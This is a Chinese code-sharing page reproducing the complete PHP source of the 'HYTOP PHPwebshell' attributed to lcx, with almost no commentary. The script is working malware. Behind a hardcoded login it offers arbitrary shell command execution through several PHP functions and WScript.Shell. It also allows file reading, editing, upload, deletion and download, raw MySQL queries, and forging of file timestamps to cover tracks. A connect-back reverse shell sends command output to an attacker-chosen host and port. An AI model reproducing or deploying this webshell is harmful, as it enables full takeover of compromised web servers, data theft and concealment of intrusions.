注册
登录
| 关键词： nbsp POST echo command GET filename stripslashes array size acton |
<?php/**Thk:angle maple-x wwofeiwo NetpathHYTOP PHPwebshell 0.0001ver only test windows2003+APMServ5.2.0**/error_reporting(1);$adminu = "lcx";$adminp = "202cb962ac59075b964b07152d234b70";$url=$_SERVER['PHP_SELF']; if ($_POST['sendadmin'] == 'Login') { if ( md5(trim($_POST['adminpass']))==$adminp&&trim($_POST['adminuser'])==$adminu) { setcookie ("adminpass",md5(trim($_POST['adminpass'])),time()+(1*24*36000)); echo "<meta http-equiv=refresh content=0;URL=".$_SERVER['PHP_SELF']."?acton=path>"; exit; }} if (isset($_COOKIE['adminpass'])) { if ($_COOKIE['adminpass'] != $adminp and trim($_POST['adminuser']) !=$adminu) { loginpage(); }} else { loginpage();} $downfile=$_GET['downfilename'];if (!empty($downfile)) {if (!@file_exists($downfile)) { echo "<script>alert('no exists!')</script>";} else { $filename = basename($downfile); $filename_info = explode('.', $filename); $fileext = $filename_info[count($filename_info)-1]; @header('Content-type: application/x-'.$fileext); @header('Content-Disposition: attachment; filename='.$filename); @header('Content-Description: PHP Generated Data'); @header('Content-Length: '.filesize($downfile)); @readfile($downfile); exit;}} if ($_GET['acton']=="path"){$sCwd = (substr(PHP_OS, 0, 3) == 'WIN') ? strtolower(getcwd()) : getcwd();echo "webph:<br><a href=# onclick=\"vbs:window.open '$url?acton=list&page=$sCwd'\">$sCwd</a>  <a href=$_SERVER[PHP_SELF]?acton=upload> upfile </a>  <a href=$_SERVER[PHP_SELF]?acton=cmd> cmd </a>  <a href=$_SERVER[PHP_SELF]?acton=phpinfo> phpinfo </a>  <a href=$_SERVER[PHP_SELF]?acton=mysql> mysql </a>  <a href=$_SERVER[PHP_SELF]?acton=nc> ncshell </a><br>"; $letters = range('b','z');echo "drive:<br>";foreach($letters as $drive){ if (is_dir($drive.':')) { $freespace = disk_free_space($drive.':'); $total_space = disk_total_space($drive.':'); $percentage_free = $freespace ? round($freespace / $total_space, 2) * 100 : 0; $message=': '.to_readble_size($freespace).' / '.to_readble_size($total_space).' ['.$percentage_free.'%]'; echo "<a href=# language=vbscript onclick=\"window.open '$url?acton=list&page=$drive:'\" >$drive</a>$message<br>"; //echo "<a href=# onclick=\"vbs:location.href='?acton=list&page=$drive:'\">$drive</a>$message<br>"; } }} if ($_GET['acton']=="read") {echo "<form action='' name=frm2 method=POST> <textarea name=textarea cols=100 rows=25 >";$cls=htmlentities(file_get_contents($_GET['filename']));echo $cls;echo "</textarea><INPUT type=submit name=button2 value=edit></form><br>"; if ($_POST['button2']=="edit") {fputs(fopen($_GET['filename'],'w'), stripslashes($_POST['textarea']));echo "<script language=vbs>msgbox(\"ok,read again\"):location.href=window.location.href</script>"; }} if ($_GET['acton']=="upload") { echo "<form enctype='multipart/form-data' action='' method='POST' name=frm3>"; echo "<input type='hidden' name='MAX_FILE_SIZE' value='300000' >"; echo "upload path: <input name='uploadpath' type='text' value='c:/'>"; echo "Send this file: <input name='userfile' type='file' >"; echo "<input type='submit' value='SendFile' name=button3 >"; echo "</form>"; $uploaddir = $_POST['uploadpath']; $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); echo '<pre>'; if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { echo "File is valid, and was successfully uploaded.\n"; } else { echo "Possible file upload attack!\n"; } echo 'Here is some more debugging info:';print_r($_FILES); echo "</pre>"; } if ($_GET['acton']=="del") { @unlink($_GET['filename']); } if ($_GET['acton']=="copy") { copy($_GET['filename'],$_GET['newfile']); } if ($_GET['acton']=="move") { @rename($_GET['filename'],$_GET['newfile']); } if ($_GET['acton']=="list") {list_dir(stripslashes($_GET[page])); } if ($_GET['acton']=="phpinfo") {phpinfo();} if($_GET['acton']=="cfiletime"){print<<<eof<form action="" method="POST" name=time>MODIFY:<input name="year" value="2003" type="text" size="4" >YEAR <select name="month" ><option value="January">1</option><option value="February">2</option><option value="March">3</option><option value="April">4</option><option value="May">5</option><option value="June">6</option><option value="July">7</option><option value="August">8</option><option value="September">9</option><option value="October" selected>1</option><option value="November">11</option><option value="December">12</option></select>MONTH<input name="data" value="13" type="text" size="2" >DAY <input name="hour" value="13" type="text" size="2" >HOUR <input name="minute" value="00" type="text" size="2" >MINUTE <input name="second" value="00" type="text" size="2" >SECOND<input type="submit" value="sure" name="sure"></form>eof;if ($_POST['sure']=="sure"){$year=$_POST['year'];$month=$_POST['month'];$data=$_POST['data']; $hour=$_POST['hour'];$minute=$_POST['minute'];$second=$_POST['second'];$time=strtotime("$data $month $year $hour:$minute:$second");echo (@touch($_GET['cfile'],$time)) ? $_POST['curfile']." CHANGE ".date("Y-m-d H:i:s",$time)." !" : "FALSE!";}} if ($_GET['acton']=="mysql"){print<<<eof<FORM METHOD="POST" ENCTYPE="multipart/form-data" action=""><INPUT TYPE="text" NAME="host" value="localhost"><INPUT TYPE="text" NAME="db" value="mysql"><INPUT TYPE="text" NAME="user" value="root"><INPUT TYPE="text" NAME="pass" value=""><INPUT TYPE="text" NAME="sql" size=100 value="show tables;"><INPUT TYPE="SUBMIT" name=mysql value="mysql"></FORM>eof; if ($_POST['mysql']=="mysql"){ mysql_connect("$_POST[host]", "$_POST[user]", "$_POST[pass]") or die("Could not connect: " . mysql_error()); mysql_select_db("$_POST[db]");$sql=stripslashes("$_POST[sql]"); $result = mysql_query("$_POST[sql]"); echo "<pre>"; while ($row = mysql_fetch_array($result, MYSQL_BOTH)) { for ($j=0; $j < count($row); $j++) { printf (" $row[$j] "); }echo "<br>"; } mysql_free_result($result);}} if ($_GET['acton']=="cmd"){print<<<eof<form action="" method="POST"><select name="execfunc" ><option value="system">system</option><option value="passthru">passthru</option><option value="exec">exec</option><option value="shell_exec">shell_exec</option><option value="popen">popen</option><option value="wscript">Wscript.Shell</option><option value="wscript">Backticks</option><option value="wscript">proc_open</option></select><input name="command" value="" type="text" size="60" ><input name="sumbit" type="submit" value="run" size="30" ><textarea name="textarea" cols="100" rows="25" readonly>eof; switch($_POST['execfunc']) { case 'system': system(stripslashes($_POST['command'])); break; case 'passthru': passthru(stripslashes($_POST['command'])); break; case 'exec': exec(stripslashes($_POST['command']),$result); foreach ($result as $line) echo "$line\n"; case 'shell_exec': $result=shell_exec(stripslashes($_POST['command'])); echo $result; braek; case 'popen': $_POST['command']=$_POST['command'].'>'.'02839tmp'; echo $_POST['command']; $pp = popen(stripslashes($_POST['command']), 'r'); pclose($pp); $handle = fopen(getenv(DOCUMENT_ROOT).'/02839tmp', "r"); $contents = fread($handle, filesize (getenv(DOCUMENT_ROOT).'/02839tmp')); echo $contents; fclose($handle); break; case 'wscript': $wsh = new COM('WScript.shell') or die("PHP Create COM WSHSHELL failed"); $exec = $wsh->exec ("cmd.exe /c ".stripslashes($_POST['command']).""); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; break; case 'Backticks': $a=stripslashes($_POST['command']); $result=`$a`; echo $result; break; case 'proc_open': $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));$process = proc_open("".$_POST['command']."", $descriptorspec, $pipes);if (is_resource($process)) { fwrite($pipes[0], "".$_POST['command']."\r\n"); fwrite($pipes[0], "exit\r\n"); fclose($pipes[0]); while (!feof($pipes[1])) { echo fgets($pipes[1], 1024); } fclose($pipes[1]); while (!feof($pipes[2])) { echo fgets($pipes[2], 1024); } fclose($pipes[2]); proc_close($process);} break; default: //@system($_POST['command']); break; }}echo "</textarea>"; if ($_GET['acton']=="nc"){if(isset($_POST['host']) && isset($_POST['port'])){ $host = $_POST['host']; $port = $_POST['port'];}else{ print<<<eof <form method=post action="">Host:<input type=text name=host><br />Port: <input type=text name=port><br /> <input type=radio name=info check=checked value=linux>Linux <input type=radio name=info value=win>Win<br /> <input type=submit name=submit value="反弹连接"> eof;print("-------------------------------------------------------------")."<br />";print("注意:win的反弹需要PHP支持socket")."<br />";print(" Linux在非源码编译安装的情况一般都会支持,具体查看phpinfo()")."<br />";print(" 错误信息:win保存在当目录的log.txt,Linux为/tmp/log.txt")."<br />";die("欢迎测试");}if($_POST['info']=="win"){ $ph=str_replace(chr(92),chr(92).chr(92),$_SERVER['SystemRoot']).chr(92).chr(92)."system32" ; $env=array('path' => $ph); $descriptorspec = array( 0 => array("pipe","r"), 1 => array("pipe","w"), 2 => array("file","log.txt","a"),);}else{ $env = array('PATH' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin'); $descriptorspec = array( 0 => array("pipe","r"), 1 => array("pipe","w"), 2 => array("file","/tmp/log.txt","a"), );}$host=gethostbyname($host);$proto=getprotobyname("tcp");if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){ die("Socket Create Faile");}if(($ret=socket_connect($sock,$host,$port))<0){ die("Connect Faile");}else{$message="----------------------PHP Connect-Back--------------------\n"; socket_write($sock,$message,strlen($message));$cwd=str_replace('\\','/',dirname(__FILE__));while($cmd=socket_read($sock,65535,$proto)) { if(trim(strtolower($cmd))=="exit") { socket_write($sock,"Bye Bye\n"); exit; }else{ $process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);if (is_resource($process)) { fwrite($pipes[0], $cmd); fclose($pipes[0]); $msg=stream_get_contents($pipes[1]); socket_write($sock,$msg,strlen($msg)); fclose($pipes[1]); $return_value = proc_close($process);} }}}} function list_dir($path){ $dh = opendir($path);while (($dir = readdir($dh)) !== false) {$pathurl=urlencode($path);$dirurl=urlencode($dir); if ( $dir != "." && $dir != ".." ){ if (is_dir("$path/$dir") ){ echo "<a href=# onclick=\"vbs:location.href='?acton=list&page=$path/$dir'\"><b>$path/$dir</b></a><br>"; } elseif (!is_dir("$path/$dir")) $ctime=date("Y-m-d H:i:s",filectime("$path/$dir")); $mtime=date("Y-m-d H:i:s",filemtime("$path/$dir")); $size=to_readble_size(filesize("$path/$dir")); $fileperm=substr(base_convert(@fileperms("$path/$dir"),10,8),-4); echo " $dir ($ctime)<a href=$_SERVER[PHP_SELF]?acton=cfiletime&cfile=$pathurl/$dirurl> ($mtime)</a>($size) ($fileperm)<a href=$_SERVER[PHP_SELF]?acton=read&filename=$pathurl/$dirurl target=_blank > read </a><a href=# onclick=\"vbs:ctrl'$pathurl/$dirurl','copy',Inputbox('NewFile AD','$pathurl/$dirurl','c:/1.txt')\"> copy </a><a href=# onclick=\"vbs:rellay'sure?',4,'$pathurl/$dirurl'\"> del </a><a href=# onclick=\"vbs:ctrl'$pathurl/$dirurl','move',Inputbox('NewFile AD','$pathurl/$dirurl','c:/1.txt')\"> move&rename </a><a href=$_SERVER[PHP_SELF]?downfilename=$pathurl/$dirurl> down </a><br>"; } } closedir($dh);} function to_readble_size($size) { switch (true) { case ($size > 1000000000000): $size /= 1000000000000; $suffix = 'TB'; break; case ($size > 1000000000): $size /= 1000000000; $suffix = 'GB'; break; case ($size > 1000000): $size /= 1000000; $suffix = 'MB'; break; case ($size > 1000): $size /= 1000; $suffix = 'KB'; break; default: $suffix = 'B'; } return round($size, 2).$suffix; } function loginpage() {print<<<eof <center><form method="POST" action="" name=frm4><input name="adminuser" type="text" size="20"><input name="adminpass" type="password" size="20"><input type="submit" value="Login" name="sendadmin"></form></center>eof; exit;}?> <head><title>HYTOP PHPwebshell 0.0001ver code by lcx</title><SCRIPT language=vbscript> function rellay(m,b,f)c=MsgBox(m,b,"del "&f)If c=6 Thenlocation.href="?acton=del&filename="&f'set obbjpopwin=window.open("?acton=del&filename="&f)'set obbjpopwin.opener=selfmsgbox "ok "location.href=window.location.href'on error resume next'obbjpopwin.close()'set obbjpopwin=nothing End IfEnd function function ctrl(oldfile,acton,newfile)'newfile=Inputbox("NewFile AD","?",newfile)location.href="?acton="&acton&"&filename="&oldfile&"&newfile="&newfile'window.open "?acton="&acton&"&filename="&oldfile&"&newfile="&newfile'set obbjpopwin=window.open("?acton="&acton&"&filename="&oldfile&"&newfile="&newfile)'set obbjpopwin.opener=selfmsgbox "ok "location.href=window.location.href'on error resume next'obbjpopwin.close()'set obbjpopwin=nothing end function</script></head> |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
